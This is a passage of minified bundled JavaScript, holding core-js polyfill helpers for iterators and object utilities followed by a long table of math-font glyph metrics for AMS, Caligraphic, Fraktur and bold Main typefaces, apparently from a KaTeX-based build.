0,N="Array"==t&&T.entries||O;if(N&&(w=f(N.call(new e)))!==Object.prototype&&(c(w,_,!0),r||s(w,h)||o(w,h,p)),M&&O&&"values"!==O.name&&(S=!0,E=function(){return O.call(this)}),r&&!y||!d&&!S&&T[h]||o(T,h,E),l[t]=E,l[_]=p,v)if(b={values:M?E:k("values"),keys:g?E:k("keys"),entries:C},y)for(x in b)x in T||a(T,x,b[x]);else i(i.P+i.F*(d||S),t,b);return b}},function(e,t,n){var r=n(50);e.exports=Object("z").propertyIsEnumerable(0)?Object:function(e){return"String"==r(e)?e.split(""):Object(e)}},function(e,t){var n={}.toString;e.exports=function(e){return n.call(e).slice(8,-1)}},function(e,t,n){var r=n(37),i=Math.min;e.exports=function(e){return e>0?i(r(e),9007199254740991):0}},function(e,t,n){var r=n(16),i=r["__core-js_shared__"]||(r["__core-js_shared__"]={});e.exports=function(e){return i[e]||(i[e]={})}},function(e,t){e.exports="constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf".split(",")},function(e,t,n){var r=n(15).f,i=n(21),a=n(11)("toStringTag");e.exports=function(e,t,n){e&&!i(e=n?e:e.prototype,a)&&r(e,a,{configurable:!0,value:t})}},function(e,t,n){var r=n(56),i=n(11)("iterator"),a=n(17);e.exports=n(8).getIteratorMethod=function(e){if(void 0!=e)return e[i]||e["@@iterator"]||a[r(e)]}},function(e,t,n){var r=n(50),i=n(11)("toStringTag"),a="Arguments"==r(function(){return arguments}());e.exports=function(e){var t,n,o;return void 0===e?"Undefined":null===e?"Null":"string"==typeof(n=function(e,t){try{return e[t]}catch(n){}}(t=Object(e),i))?n:a?r(t):"Object"==(o=r(t))&&"function"==typeof t.callee?"Arguments":o}},function(e,t,n){"use strict";t.__esModule=!0;var r=a(n(97)),i=a(n(18));function a(e){return e&&e.__esModule?e:{default:e}}t.default=function(e,t){if(Array.isArray(e))return e;if((0,r.default)(Object(e)))return function(e,t){var n=[],r=!0,a=!1,o=void 0;try{for(var s,l=(0,i.default)(e);!(r=(s=l.next()).done)&&(n.push(s.value),!t||n.length!==t);r=!0);}catch(u){a=!0,o=u}finally{try{!r&&l.return&&l.return()}finally{if(a)throw o}}return n}(e,t);throw new TypeError("Invalid attempt to destructure non-iterable instance")}},function(e,t,n){n(99);for(var r=n(16),i=n(26),a=n(17),o=n(11)("toStringTag"),s=["NodeList","DOMTokenList","MediaList","StyleSheetList","CSSRuleList"],l=0;l<5;l++){var u=s[l],c=r[u],f=c&&c.prototype;f&&!f[o]&&i(f,o,u),a[u]=a.Array}},function(e,t,n){"use strict";t.a={"AMS-Regular":{65:[0,.68889,0,0,.72222],66:[0,.68889,0,0,.66667],67:[0,.68889,0,0,.72222],68:[0,.68889,0,0,.72222],69:[0,.68889,0,0,.66667],70:[0,.68889,0,0,.61111],71:[0,.68889,0,0,.77778],72:[0,.68889,0,0,.77778],73:[0,.68889,0,0,.38889],74:[.16667,.68889,0,0,.5],75:[0,.68889,0,0,.77778],76:[0,.68889,0,0,.66667],77:[0,.68889,0,0,.94445],78:[0,.68889,0,0,.72222],79:[.16667,.68889,0,0,.77778],80:[0,.68889,0,0,.61111],81:[.16667,.68889,0,0,.77778],82:[0,.68889,0,0,.72222],83:[0,.68889,0,0,.55556],84:[0,.68889,0,0,.66667],85:[0,.68889,0,0,.72222],86:[0,.68889,0,0,.72222],87:[0,.68889,0,0,1],88:[0,.68889,0,0,.72222],89:[0,.68889,0,0,.72222],90:[0,.68889,0,0,.66667],107:[0,.68889,0,0,.55556],165:[0,.675,.025,0,.75],174:[.15559,.69224,0,0,.94666],240:[0,.68889,0,0,.55556],295:[0,.68889,0,0,.54028],710:[0,.825,0,0,2.33334],732:[0,.9,0,0,2.33334],770:[0,.825,0,0,2.33334],771:[0,.9,0,0,2.33334],989:[.08167,.58167,0,0,.77778],1008:[0,.43056,.04028,0,.66667],8245:[0,.54986,0,0,.275],8463:[0,.68889,0,0,.54028],8487:[0,.68889,0,0,.72222],8498:[0,.68889,0,0,.55556],8502:[0,.68889,0,0,.66667],8503:[0,.68889,0,0,.44445],8504:[0,.68889,0,0,.66667],8513:[0,.68889,0,0,.63889],8592:[-.03598,.46402,0,0,.5],8594:[-.03598,.46402,0,0,.5],8602:[-.13313,.36687,0,0,1],8603:[-.13313,.36687,0,0,1],8606:[.01354,.52239,0,0,1],8608:[.01354,.52239,0,0,1],8610:[.01354,.52239,0,0,1.11111],8611:[.01354,.52239,0,0,1.11111],8619:[0,.54986,0,0,1],8620:[0,.54986,0,0,1],8621:[-.13313,.37788,0,0,1.38889],8622:[-.13313,.36687,0,0,1],8624:[0,.69224,0,0,.5],8625:[0,.69224,0,0,.5],8630:[0,.43056,0,0,1],8631:[0,.43056,0,0,1],8634:[.08198,.58198,0,0,.77778],8635:[.08198,.58198,0,0,.77778],8638:[.19444,.69224,0,0,.41667],8639:[.19444,.69224,0,0,.41667],8642:[.19444,.69224,0,0,.41667],8643:[.19444,.69224,0,0,.41667],8644:[.1808,.675,0,0,1],8646:[.1808,.675,0,0,1],8647:[.1808,.675,0,0,1],8648:[.19444,.69224,0,0,.83334],8649:[.1808,.675,0,0,1],8650:[.19444,.69224,0,0,.83334],8651:[.01354,.52239,0,0,1],8652:[.01354,.52239,0,0,1],8653:[-.13313,.36687,0,0,1],8654:[-.13313,.36687,0,0,1],8655:[-.13313,.36687,0,0,1],8666:[.13667,.63667,0,0,1],8667:[.13667,.63667,0,0,1],8669:[-.13313,.37788,0,0,1],8672:[-.064,.437,0,0,1187],8674:[-.064,.437,0,0,1167],8705:[0,.825,0,0,.5],8708:[0,.68889,0,0,.55556],8709:[.08167,.58167,0,0,.77778],8717:[0,.43056,0,0,.42917],8722:[-.03598,.46402,0,0,.5],8724:[.08198,.69224,0,0,.77778],8726:[.08167,.58167,0,0,.77778],8733:[0,.69224,0,0,.77778],8736:[0,.69224,0,0,.72222],8737:[0,.69224,0,0,.72222],8738:[.03517,.52239,0,0,.72222],8739:[.08167,.58167,0,0,.22222],8740:[.25142,.74111,0,0,.27778],8741:[.08167,.58167,0,0,.38889],8742:[.25142,.74111,0,0,.5],8756:[0,.69224,0,0,.66667],8757:[0,.69224,0,0,.66667],8764:[-.13313,.36687,0,0,.77778],8765:[-.13313,.37788,0,0,.77778],8769:[-.13313,.36687,0,0,.77778],8770:[-.03625,.46375,0,0,.77778],8774:[.30274,.79383,0,0,.77778],8776:[-.01688,.48312,0,0,.77778],8778:[.08167,.58167,0,0,.77778],8782:[.06062,.54986,0,0,.77778],8783:[.06062,.54986,0,0,.77778],8785:[.08198,.58198,0,0,.77778],8786:[.08198,.58198,0,0,.77778],8787:[.08198,.58198,0,0,.77778],8790:[0,.69224,0,0,.77778],8791:[.22958,.72958,0,0,.77778],8796:[.08198,.91667,0,0,.77778],8806:[.25583,.75583,0,0,.77778],8807:[.25583,.75583,0,0,.77778],8808:[.25142,.75726,0,0,.77778],8809:[.25142,.75726,0,0,.77778],8812:[.25583,.75583,0,0,.5],8814:[.20576,.70576,0,0,.77778],8815:[.20576,.70576,0,0,.77778],8816:[.30274,.79383,0,0,.77778],8817:[.30274,.79383,0,0,.77778],8818:[.22958,.72958,0,0,.77778],8819:[.22958,.72958,0,0,.77778],8822:[.1808,.675,0,0,.77778],8823:[.1808,.675,0,0,.77778],8828:[.13667,.63667,0,0,.77778],8829:[.13667,.63667,0,0,.77778],8830:[.22958,.72958,0,0,.77778],8831:[.22958,.72958,0,0,.77778],8832:[.20576,.70576,0,0,.77778],8833:[.20576,.70576,0,0,.77778],8840:[.30274,.79383,0,0,.77778],8841:[.30274,.79383,0,0,.77778],8842:[.13597,.63597,0,0,.77778],8843:[.13597,.63597,0,0,.77778],8847:[.03517,.54986,0,0,.77778],8848:[.03517,.54986,0,0,.77778],8858:[.08198,.58198,0,0,.77778],8859:[.08198,.58198,0,0,.77778],8861:[.08198,.58198,0,0,.77778],8862:[0,.675,0,0,.77778],8863:[0,.675,0,0,.77778],8864:[0,.675,0,0,.77778],8865:[0,.675,0,0,.77778],8872:[0,.69224,0,0,.61111],8873:[0,.69224,0,0,.72222],8874:[0,.69224,0,0,.88889],8876:[0,.68889,0,0,.61111],8877:[0,.68889,0,0,.61111],8878:[0,.68889,0,0,.72222],8879:[0,.68889,0,0,.72222],8882:[.03517,.54986,0,0,.77778],8883:[.03517,.54986,0,0,.77778],8884:[.13667,.63667,0,0,.77778],8885:[.13667,.63667,0,0,.77778],8888:[0,.54986,0,0,1.11111],8890:[.19444,.43056,0,0,.55556],8891:[.19444,.69224,0,0,.61111],8892:[.19444,.69224,0,0,.61111],8901:[0,.54986,0,0,.27778],8903:[.08167,.58167,0,0,.77778],8905:[.08167,.58167,0,0,.77778],8906:[.08167,.58167,0,0,.77778],8907:[0,.69224,0,0,.77778],8908:[0,.69224,0,0,.77778],8909:[-.03598,.46402,0,0,.77778],8910:[0,.54986,0,0,.76042],8911:[0,.54986,0,0,.76042],8912:[.03517,.54986,0,0,.77778],8913:[.03517,.54986,0,0,.77778],8914:[0,.54986,0,0,.66667],8915:[0,.54986,0,0,.66667],8916:[0,.69224,0,0,.66667],8918:[.0391,.5391,0,0,.77778],8919:[.0391,.5391,0,0,.77778],8920:[.03517,.54986,0,0,1.33334],8921:[.03517,.54986,0,0,1.33334],8922:[.38569,.88569,0,0,.77778],8923:[.38569,.88569,0,0,.77778],8926:[.13667,.63667,0,0,.77778],8927:[.13667,.63667,0,0,.77778],8928:[.30274,.79383,0,0,.77778],8929:[.30274,.79383,0,0,.77778],8934:[.23222,.74111,0,0,.77778],8935:[.23222,.74111,0,0,.77778],8936:[.23222,.74111,0,0,.77778],8937:[.23222,.74111,0,0,.77778],8938:[.20576,.70576,0,0,.77778],8939:[.20576,.70576,0,0,.77778],8940:[.30274,.79383,0,0,.77778],8941:[.30274,.79383,0,0,.77778],8994:[.19444,.69224,0,0,.77778],8995:[.19444,.69224,0,0,.77778],9416:[.15559,.69224,0,0,.90222],9484:[0,.69224,0,0,.5],9488:[0,.69224,0,0,.5],9492:[0,.37788,0,0,.5],9496:[0,.37788,0,0,.5],9585:[.19444,.68889,0,0,.88889],9586:[.19444,.74111,0,0,.88889],9632:[0,.675,0,0,.77778],9633:[0,.675,0,0,.77778],9650:[0,.54986,0,0,.72222],9651:[0,.54986,0,0,.72222],9654:[.03517,.54986,0,0,.77778],9660:[0,.54986,0,0,.72222],9661:[0,.54986,0,0,.72222],9664:[.03517,.54986,0,0,.77778],9674:[.11111,.69224,0,0,.66667],9733:[.19444,.69224,0,0,.94445],10003:[0,.69224,0,0,.83334],10016:[0,.69224,0,0,.83334],10731:[.11111,.69224,0,0,.66667],10846:[.19444,.75583,0,0,.61111],10877:[.13667,.63667,0,0,.77778],10878:[.13667,.63667,0,0,.77778],10885:[.25583,.75583,0,0,.77778],10886:[.25583,.75583,0,0,.77778],10887:[.13597,.63597,0,0,.77778],10888:[.13597,.63597,0,0,.77778],10889:[.26167,.75726,0,0,.77778],10890:[.26167,.75726,0,0,.77778],10891:[.48256,.98256,0,0,.77778],10892:[.48256,.98256,0,0,.77778],10901:[.13667,.63667,0,0,.77778],10902:[.13667,.63667,0,0,.77778],10933:[.25142,.75726,0,0,.77778],10934:[.25142,.75726,0,0,.77778],10935:[.26167,.75726,0,0,.77778],10936:[.26167,.75726,0,0,.77778],10937:[.26167,.75726,0,0,.77778],10938:[.26167,.75726,0,0,.77778],10949:[.25583,.75583,0,0,.77778],10950:[.25583,.75583,0,0,.77778],10955:[.28481,.79383,0,0,.77778],10956:[.28481,.79383,0,0,.77778],57350:[.08167,.58167,0,0,.22222],57351:[.08167,.58167,0,0,.38889],57352:[.08167,.58167,0,0,.77778],57353:[0,.43056,.04028,0,.66667],57356:[.25142,.75726,0,0,.77778],57357:[.25142,.75726,0,0,.77778],57358:[.41951,.91951,0,0,.77778],57359:[.30274,.79383,0,0,.77778],57360:[.30274,.79383,0,0,.77778],57361:[.41951,.91951,0,0,.77778],57366:[.25142,.75726,0,0,.77778],57367:[.25142,.75726,0,0,.77778],57368:[.25142,.75726,0,0,.77778],57369:[.25142,.75726,0,0,.77778],57370:[.13597,.63597,0,0,.77778],57371:[.13597,.63597,0,0,.77778]},"Caligraphic-Regular":{48:[0,.43056,0,0,.5],49:[0,.43056,0,0,.5],50:[0,.43056,0,0,.5],51:[.19444,.43056,0,0,.5],52:[.19444,.43056,0,0,.5],53:[.19444,.43056,0,0,.5],54:[0,.64444,0,0,.5],55:[.19444,.43056,0,0,.5],56:[0,.64444,0,0,.5],57:[.19444,.43056,0,0,.5],65:[0,.68333,0,.19445,.79847],66:[0,.68333,.03041,.13889,.65681],67:[0,.68333,.05834,.13889,.52653],68:[0,.68333,.02778,.08334,.77139],69:[0,.68333,.08944,.11111,.52778],70:[0,.68333,.09931,.11111,.71875],71:[.09722,.68333,.0593,.11111,.59487],72:[0,.68333,.00965,.11111,.84452],73:[0,.68333,.07382,0,.54452],74:[.09722,.68333,.18472,.16667,.67778],75:[0,.68333,.01445,.05556,.76195],76:[0,.68333,0,.13889,.68972],77:[0,.68333,0,.13889,1.2009],78:[0,.68333,.14736,.08334,.82049],79:[0,.68333,.02778,.11111,.79611],80:[0,.68333,.08222,.08334,.69556],81:[.09722,.68333,0,.11111,.81667],82:[0,.68333,0,.08334,.8475],83:[0,.68333,.075,.13889,.60556],84:[0,.68333,.25417,0,.54464],85:[0,.68333,.09931,.08334,.62583],86:[0,.68333,.08222,0,.61278],87:[0,.68333,.08222,.08334,.98778],88:[0,.68333,.14643,.13889,.7133],89:[.09722,.68333,.08222,.08334,.66834],90:[0,.68333,.07944,.13889,.72473]},"Fraktur-Regular":{33:[0,.69141,0,0,.29574],34:[0,.69141,0,0,.21471],38:[0,.69141,0,0,.73786],39:[0,.69141,0,0,.21201],40:[.24982,.74947,0,0,.38865],41:[.24982,.74947,0,0,.38865],42:[0,.62119,0,0,.27764],43:[.08319,.58283,0,0,.75623],44:[0,.10803,0,0,.27764],45:[.08319,.58283,0,0,.75623],46:[0,.10803,0,0,.27764],47:[.24982,.74947,0,0,.50181],48:[0,.47534,0,0,.50181],49:[0,.47534,0,0,.50181],50:[0,.47534,0,0,.50181],51:[.18906,.47534,0,0,.50181],52:[.18906,.47534,0,0,.50181],53:[.18906,.47534,0,0,.50181],54:[0,.69141,0,0,.50181],55:[.18906,.47534,0,0,.50181],56:[0,.69141,0,0,.50181],57:[.18906,.47534,0,0,.50181],58:[0,.47534,0,0,.21606],59:[.12604,.47534,0,0,.21606],61:[-.13099,.36866,0,0,.75623],63:[0,.69141,0,0,.36245],65:[0,.69141,0,0,.7176],66:[0,.69141,0,0,.88397],67:[0,.69141,0,0,.61254],68:[0,.69141,0,0,.83158],69:[0,.69141,0,0,.66278],70:[.12604,.69141,0,0,.61119],71:[0,.69141,0,0,.78539],72:[.06302,.69141,0,0,.7203],73:[0,.69141,0,0,.55448],74:[.12604,.69141,0,0,.55231],75:[0,.69141,0,0,.66845],76:[0,.69141,0,0,.66602],77:[0,.69141,0,0,1.04953],78:[0,.69141,0,0,.83212],79:[0,.69141,0,0,.82699],80:[.18906,.69141,0,0,.82753],81:[.03781,.69141,0,0,.82699],82:[0,.69141,0,0,.82807],83:[0,.69141,0,0,.82861],84:[0,.69141,0,0,.66899],85:[0,.69141,0,0,.64576],86:[0,.69141,0,0,.83131],87:[0,.69141,0,0,1.04602],88:[0,.69141,0,0,.71922],89:[.18906,.69141,0,0,.83293],90:[.12604,.69141,0,0,.60201],91:[.24982,.74947,0,0,.27764],93:[.24982,.74947,0,0,.27764],94:[0,.69141,0,0,.49965],97:[0,.47534,0,0,.50046],98:[0,.69141,0,0,.51315],99:[0,.47534,0,0,.38946],100:[0,.62119,0,0,.49857],101:[0,.47534,0,0,.40053],102:[.18906,.69141,0,0,.32626],103:[.18906,.47534,0,0,.5037],104:[.18906,.69141,0,0,.52126],105:[0,.69141,0,0,.27899],106:[0,.69141,0,0,.28088],107:[0,.69141,0,0,.38946],108:[0,.69141,0,0,.27953],109:[0,.47534,0,0,.76676],110:[0,.47534,0,0,.52666],111:[0,.47534,0,0,.48885],112:[.18906,.52396,0,0,.50046],113:[.18906,.47534,0,0,.48912],114:[0,.47534,0,0,.38919],115:[0,.47534,0,0,.44266],116:[0,.62119,0,0,.33301],117:[0,.47534,0,0,.5172],118:[0,.52396,0,0,.5118],119:[0,.52396,0,0,.77351],120:[.18906,.47534,0,0,.38865],121:[.18906,.47534,0,0,.49884],122:[.18906,.47534,0,0,.39054],8216:[0,.69141,0,0,.21471],8217:[0,.69141,0,0,.21471],58112:[0,.62119,0,0,.49749],58113:[0,.62119,0,0,.4983],58114:[.18906,.69141,0,0,.33328],58115:[.18906,.69141,0,0,.32923],58116:[.18906,.47534,0,0,.50343],58117:[0,.69141,0,0,.33301],58118:[0,.62119,0,0,.33409],58119:[0,.47534,0,0,.50073]},"Main-Bold":{33:[0,.69444,0,0,.35],34:[0,.69444,0,0,.60278],35:[.19444,.69444,0,0,.95833],36:[.05556,.75,0,0,.575],37:[.05556,.75,0,0,.95833],38:[0,.69444,0,0,.89444],39:[0,.69444,0,0,.31944],40:[.25,.75,0,0,.44722],41:[.25,.75,0,0,.44722],42:[0,.75,0,0,.575],43:[.13333,.63333,0,0,.89444],44:[.19444,.15556,0,0,.31944],45:[0,.44444,0,0,.38333],46:[0,.15556,0,0,.31944],47:[.25,.75,0,0,.575],48:[0,.64444,0,0,.575],49:[0,.64444,0,0,.575],50:[0,.64444,0,0,.575],51:[0,.64444,0,0,.575],52:[0,.64444,0,0,.575],53:[0,.64444,0,0,.575],54:[0,.64444,0,0,.575],55:[0,.64444,0,0,.575],56:[0,.64444,0,0,.575],57:[0,.64444,0,0,.575],58:[0,.44444,0,0,.31944],59:[.19444,.44444,0,0,.31944],60:[.08556,.58556,0,0,.89444],61:[-.10889,.39111,0,0,.89444],62:[.08556,.58556,0,0,.89444],63:[0,.69444,0,0,.54305],64:[0,.69444,0,0,.89444],65:[0,.68611,0,0,.86944],66:[0,.68611,0,0,.81805],67:[0,.68611,0,0,.83055],68:[0,.68611,0,0,.88194],69:[0,.68611,0,0,.75555],70:[0,.68611,0,0,.72361],71:[0,.68611,0,0,.90416],72:[0,.68611,0,0,.9],73:[0,.68611,0,0,.43611],74:[0,.68611,0,0,.59444],75:[0,.68611,0,0,.90138],76:[0,.68611,0,0,.69166],77:[0,.68611,0,0,1.09166],78:[0,.68611,0,0,.9],79:[0,.68611,0,0,.86388],80:[0,.68611,0,0,.78611],81:[.19444,.68611,0,0,.86388],82:[0,.68611,0,0,.8625],83:[0,.68611,0,0,.63889],84:[0,.68611,0,0,.8],85:[0,.68611,0,0,.88472],86:[0,.68611,.01597,0,.86944],87:[0,.68611,.01597,0,1.18888],88:[0,.68611,0,0,.86944],89:[0,.68611,.02875,0,.86944],90:[0,.68611,0,0,.70277],91:[.25,.75,0,0,.31944],92:[.25,.75,0,0,.575],93:[.25,.75,0,0,.31944],94:[0,.69444,0,0,.575],95:[.31,.13444,.03194,0,.575],97:[0,.44444,0,0,.55902],98:[0,.69444,0,0,.63889],99:[0,.44444,0,0,.51111],100:[0,.69444,0,0,.63889],101:[0,.44444,0,0,.52708],102:[0,.69444,.10903,0,.35139],103:[.19444,.44444,.01597,0,.575],104:[0,.69444,0,0,.63889],105:[0,.69444,0,0,.31944],106:[.19444,.69444,0,0,.35139],107:[0,.69444,0,0,.60694],108:[0,.69444,0,0,.31944],109:[0,.44444,0,0,.95833],110:[0,.44444,0,0,.63889],111:[0,.44444,0,0,.575],112:[.19444,.44444,0,0,.63889],113:[.19444,.44444,0,0,.60694],114:[0,.44444,0,0,.47361],115:[0,.44444,0,0,.45361],116:[0,.63492,0,0,.44722],117:[0,.44444,0,0,.63889],118:[0,.44444,.01597,0,.60694],119:[0,.44444,.01597,0,.83055],120:[0,.44444,0,0,.60694],121:[.19444,.44444,.01597,0,.60694],122:[0,.44444,0,0,.51111],123:[.25,.75,0,0,.575],124:[.25,.75,0,0,.31944],125:[.25,.75,0,0,.575],126:[.35,.34444,0,0,.575],168:[0,.69444,0,0,.575],172:[0,.44444,0,0,.76666],176:[0,.69444,0,0,.86944],177:[.13333,.63333,0,0,.89444],198:[0,.68611,0,0,1.04166],215:[.13333,.63333,0,0,.89444],216:[.04861,.73472,0,0,.89444],223:[0,.69444,0,0,.59722],230:[0,.44444,0,0,.83055],247:[.13333,.63333,0,0,.89444],248:[.09722,.54167,0,0,.575],305:[0,.44444,0,0,.31944],338:[0,.68611,0,0,1.16944],339:[0,.44444,0,0,.89444],567:[.19444,.44444,0,0,.35139],710:[0,.69444,0,0,.575],711:[0,.63194,0,0,.575],713:[0,.59611,0,0,.575],714:[0,.69444,0,0,.575],715:[0,.69444,0,0,.575],728:[0,.69444,0,0,.575],729:[0,.69444,0,0,.31944],730:[0,.69444,0,0,.86944],732:[0,.69444,0,0,.575],733:[0,.69444,0,0,.575],824:[.19444,.69444,0,0,0],915:[0,.68611,0,0,.69166],916:[0,.68611,0,0,.95833],920:[0,.68611,0,0,.89444],923:[0,.68611,0,0,.80555],926:[0,.68611,0,0,.76666],928:[0,.68611,0,0,.9],931:[0,.68611,0,0,.83055],933:[0,.68611,0,0,.89444],934:[0,.68611,0,0,.83055],936:[0,.68611,0,0,.89444],937:[0,.68611,0,0,.83055],8211:[0,.44444,.03194,0,.575],8212:[0,.44444,.03194,0,1.14999],8216:[0,.69444,0,0,.31944],8217:[0,.69444,0,0,.31944],8220:[0,.69444,0,0,.60278],8221:[0,.69444,0,0,.60278],8224:[.19444,.69444,0,0,.51111],8225:[.19444,.69444,0,0,.51111],8242:[0,.55556,0,0,.34444],8407:[0,.72444,.15486,0,.575],8463:[0,.69444,0,0,.66759],8465:[0,.69444,0,0,.83055],8467:[0,.69444,0,0,.47361],8472:[.19444,.44444,0,0,.74027],8476:[0,.69444,0,0,.83055],8501:[0,.69444,0,0,.70277],8592:[-.10889,.39111,0,0,1.14999],8593:[.19444,.69444,0,0,.575],8594:[-.10889,.39111,0,0,1.14999],8595:[.19444,.69444,0,0,.575],8596:[-.10889,.39111,0,0,1.14999],8597:[.25,.75,0,0,.575],8598:[.19444,.69444,0,0,1.14999],8599:[.19444,.69444,0,0,1.14999],8600:[.19444,.69444,0,0,1.14999],8601:[.19444,.69444,0,0,1.14999],8636:[-.10889,.39111,0,0,1.14999],8637:[-.10889,.39111,0,0,1.14999],8640:[-.10889,.39111,0,0,1.14999],8641:[-.10889,.39111,0,0,1.14999],8656:[-.10889,.39111,0,0,1.14999],8657:[.19444,.69444,0,0,.70277],8658:[-.10889,.39111,0,0,1.14999],8659:[.19444,.69444,0,0,.70277],8660:[-.10889,.39111,0,0,1.14999],8661:[.25,.75,0,0,.70277],8704:[0,.69444,0,0,.63889],8706:[0,.69444,.06389,0,.62847],8707:[0,.69444,0,0,.63889],8709:[.05556,.75,0,0,.575],8711:[0,.68611,0,0,.95833],8712:[.08556,.58556,0,0,.76666],8715:[.08556,.58556,0,0,.76666],8722:[.13333,.63333,0,0,.89444],8723:[.13333,.63333,0,0,.89444],8725:[.25,.75,0,0,.575],8726:[.25,.75,0,0,.575],8727:[-.02778,.47222,0,0,.575],8728:[-.02639,.47361,0,0,.575],8729:[-.02639,.47361,0,0,.575],8730:[.18,.82,0,0,.95833],8733:[0,.44444,0,0,.89444],8734:[0,.44444,0,0,1.14999],8736:[0,.69224,0,0,.72222],8739:[.25,.75,0,0,.31944],8741:[.25,.75,0,0,.575],8743:[0,.55556,0,0,.76666],8744:[0,.55556,0,0,.76666],8745:[0,.55556,0,0,.76666],8746:[0,.55556,0,0,.76666],8747:[.19444,.69444,.12778,0,.56875],8764:[-.10889,.39111,0,0,.89444],8768:[.19444,.69444,0,0,.31944],8771:[.00222,.50222,0,0,.89444],8776:[.02444,.52444,0,0,.89444],8781:[.00222,.50222,0,0,.89444],8801:[.00222,.50222,0,0,.89444],8804:[.19667,.69667,0,0,.89444],8805:[.19667,.69667,0,0,.89444],8810:[.08556,.58556,0,0,1.14999],8811:[.08556,.58556,0,0,1.14999],8826:[.08556,.58556,0,0,.89444],8827:[.08556,.58556,0,0,.89444],8834:[.08556,.58556,0,0,.89444],8835:[.08556,.58556,0,0,.89444],8838:[.19667,.69667,0,0,.89444],8839:[.19667,.69667,0,0,.89444],8846:[0,.55556,0,0,.76666],8849:[.19667,.69667,0,0,.89444],8850:[.19667,.69667,0,0,.89444],8851:[0,.55556,0,0,.76666],8852:[0,.55556,0,0,.76666],8853:[.13333,.63333,0,0,.89444],8854:[.13333,.63333,0,0,.89444],8855:[.13333,.63333,0,0,.89444],8856:[.13333,.63333,0,0,.89444],8857:[.13333,.63333,0,0,.89444],8866:[0,.69444,0,0,.70277],8867:[0,.69444,0,0,.70277],8868:[0,.69444,0,0,.89444],8869:[0,.69444,0,0,.89444],8900:[-.02639,.47361,0,0,.575],8901:[-.02639,.47361,0,0,.31944],8902:[-.02778,.47222,0,0,.575],8968:[.25,.75,0,0,.51111],8969:[.25,.75,0,0,.51111],8970:[.25,.75,0,0,.51111],8971:[.25,.75,0,0,.51111],8994:[-.13889,.36111,0,0,1.14999],8995:[-.13889,.36111,0,0,1.14999],9651:[.19444,.69444,0,0,1.02222],9657:[-.02778,.47222,0,0,.575],9661:[.19444,.69444,0,0,1.02222],9667:[-.02778,.47222,0,0,.575],9711:[.19444,.69444,0,0,1.14999],9824:[.12963,.69444,0,0,.89444],9825:[.12963,.69444,0,0,.89444],9826:[.12963,.69444,0,0,.89444],9827:[.12963,.69444,0,0,.89444],9837:[0,.75,0,0,.44722],9838:[.19444,.69444,0,0,.44722],9839:[.19444,.69444,0,0,.44722],10216:[.25,.75,0,0,.44722],10217:[.25,.75,0,0,.44722],10815:[0,.68611,0,0,.9],10927:[.19667,.69667,0,0,.89444],10928:[.19667,.69667,0,0,.89444]},"Main-BoldItalic":{33:[0,.69444,.11417,0,.38611],34:[0,.69444,.07939,0,.62055],35:[.19444,.69444,.06833,0,.94444],37:[.05556,.75,.12861,0,.94444],38:[0,.69444,.08528,0,.88555],39:[0,.69444,.12945,0,.35555],40:[.25,.75,.15806,0,.47333],41:[.25,.75,.03306,0,.47333],42:[0,.75,.14333,0,.59111],43:[.10333,.60333,.03306,0,.88555],44:[.19444,.14722,0,0,.35555],45:[0,.44444,.02611,0,.41444],46:[0,.14722,0,0,.35555],47:[.25,.75,.15806,0,.59111],48:[0,.64444,.13167,0,.59111],49:[0,.64444,.13167,0,.59111],50:[0,.64444,.13167,0,.59111],51:[0,.64444,.13167,0,.59111],52:[.19444,.64444,.13167,0,.59111],53:[0,.64444,.13167,0,.59111],54:[0,.64444,.13167,0,.59111],55:[.19444,.64444,.13167,0,.59111],56:[0,.64444,.13167,0,.59111],57:[0,.64444,.13167,0,.59111],58:[0,.44444,.06695,0,.35555],59:[.19444,.44444,.06695,0,.35555],61:[-.10889,.39111,.06833,0,.88555],63:[0,.69444,.11472,0,.59111],64:[0,.69444,.09208,0,.88555],65:[0,.68611,0,0,.86555],66:[0,.68611,.0992,0,.81666],67:[0,.68611,.14208,0,.82666],68:[0,.68611,.09062,0,.87555],69:[0,.68611,.11431,0,.75666],70:[0,.68611,.12903,0,.72722],71:[0,.68611,.07347,0,.89527],72:[0,.68611,.17208,0,.8961],73:[0,.68611,.15681,0,.47166],74:[0,.68611,.145,0,.61055],75:[0,.68611,.14208,0,.89499],76:[0,.68611,0,0,.69777],77:[0,.68611,.17208,0,1.07277],78:[0,.68611,.17208,0,.8961],79:[0,.68611,.09062,0,.85499],80:[0,.68611,.0992,0,.78721],81:[.19444,.68611,.09062,0,.85499],82:[0,.68611,.02559,0,.85944],83:[0,.68611,.11264,0,.64999],84:[0,.68611,.12903,0,.7961],85:[0,.68611,.17208,0,.88083],86:[0,.68611,.18625,0,.86555],87:[0,.68611,.18625,0,1.15999],88:[0,.68611,.15681,0,.86555],89:[0,.68611,.19803,0,.86555],90:[0,.68611,.14208,0,.70888],91:[.25,.75,.1875,0,.35611],93:[.25,.75,.09972,0,.35611],94:[0,.69444,.06709,0,.59111],95:[.31,.13444,.09811,0,.59111],97:[0,.44444,.09426,0,.59111],98:[0,.69444,.07861,0,.53222],99:[0,.44444,.05222,0,.53222],100:[0,.69444,.10861,0,.59111],101:[0,.44444,.085,0,.53222],102:[.19444,.69444,.21778,0,.4],103:[.19444,.44444,.105,0,.53222],104:[0,.69444,.09426,0,.59111],105:[0,.69326,.11387,0,.35555],106:[.19444,.69326,.1672,0,.35555],107:[0,.69444,.11111,0,.53222],108:[0,.69444,.10861,0,.29666],109:[0,.44444,.09426,0,.94444],110:[0,.44444,.09426,0,.64999],111:[0,.44444,.07861,0,.59111],112:[.19444,.44444,.07861,0,.59111],113:[.19444,.44444,.105,0,.53222],114:[0,.44444,.11111,0,.50167],115:[0,.44444,.08167,0,.48694],116:[0,.63492,.09639,0,.385],117:[0,.44444,.09426,0,.62055],118:[0,.44444,.11111,0,.53222],119:[0,.44444,.11111,0,.76777],120:[0,.44444,.12583,0,.56055],121:[.19444,.44444,.105,0,.56166],122:[0,.44444,.13889,0,.49055],126:[.35,.34444,.11472,0,.59111],163:[0,.69444,0,0,.86853],168:[0,.69444,.11473,0,.59111],176:[0,.69444,0,0,.94888],198:[0,.68611,.11431,0,1.02277],216:[.04861,.73472,.09062,0,.88555],223:[.19444,.69444,.09736,0,.665],230:[0,.44444,.085,0,.82666],248:[.09722,.54167,.09458,0,.59111],305:[0,.44444,.09426,0,.35555],338:[0,.68611,.11431,0,1.14054],339:[0,.44444,.085,0,.82666],567:[.19444,.44444,.04611,0,.385],710:[0,.69444,.06709,0,.59111],711:[0,.63194,.08271,0,.59111],713:[0,.59444,.104